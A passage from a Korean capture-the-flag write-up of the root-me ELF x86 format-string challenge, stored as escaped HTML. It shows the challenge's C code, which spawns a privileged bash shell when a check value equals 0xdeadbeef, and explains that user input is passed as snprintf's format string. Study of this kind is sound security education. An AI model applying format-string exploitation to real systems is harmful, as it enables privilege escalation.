class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xdeadbeef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Yeah dude ! You win !\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003esetreuid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003egeteuid\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"nf\"\u003egeteuid\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;/bin/bash\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e 의 함수 원형을 보면 세번째 인자는 포맷 스트링이 들어가야 하는 자리이지만 문제 코드를 보면 세번째 인자에 사용자 입력값이 들어가고 있습니다.\u003c/p\u003e","title":"root-me.org ELF-x86-Format-string-bug-basic-2 Writeup"}]